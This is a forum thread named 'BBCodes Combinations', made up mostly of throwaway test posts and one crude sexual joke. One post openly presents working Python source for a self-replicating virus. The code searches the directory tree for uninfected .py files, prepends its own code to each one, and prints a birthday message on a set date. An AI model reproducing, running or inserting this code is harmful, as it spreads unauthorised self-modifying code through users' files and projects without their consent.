BBCodes Combinations
Thread Topic: BBCodes Combinations
-
XD
-
No one else can have it!
-
Big Black Cock Combinations
-
Meh
-
I cant get rid of that
-
test
-
This is for a virus with python:
#!/usr/bin/python
import os
import datetime
SIGNATURE = "CRANKLIN PYTHON VIRUS"
def search(path):
filestoinfect = []
filelist = os.listdir(path)
for fname in filelist:
if os.path.isdir(path+"/"+fname):
filestoinfect.extend(search(path+"/"+fname))
elif fname[-3:] == ".py":
infected = False
for line in open(path+"/"+fname):
if SIGNATURE in line:
infected = True
break
if infected == False:
filestoinfect.append(path+"/"+fname)
return filestoinfect
def infect(filestoinfect):
virus = open(os.path.abspath(__file__))
virusstring = ""
for i,line in enumerate(virus):
if i>=0 and i <39:
virusstring += line
virus.close
for fname in filestoinfect:
f = open(fname)
temp = f.read()
f.close()
f = open(fname,"w")
f.write(virusstring + temp)
f.close()
def bomb():
if datetime.datetime.now().month == 4 and datetime.datetime.now().day == 21:
print "HAPPY BIRTHDAY, EITAN!"
filestoinfect = search(os.path.abspath(""))
infect(filestoinfect)
bomb() -
Is that good
-
test
-
-
-
-
-
-
Post a reply as a guest or Log In
REMEMBER:
- Do not harass or insult other people. Treat others how you'd like to be treated.
View all 10 forum rules
- Do not harass or insult other people. Treat others how you'd like to be treated.
View all 10 forum rules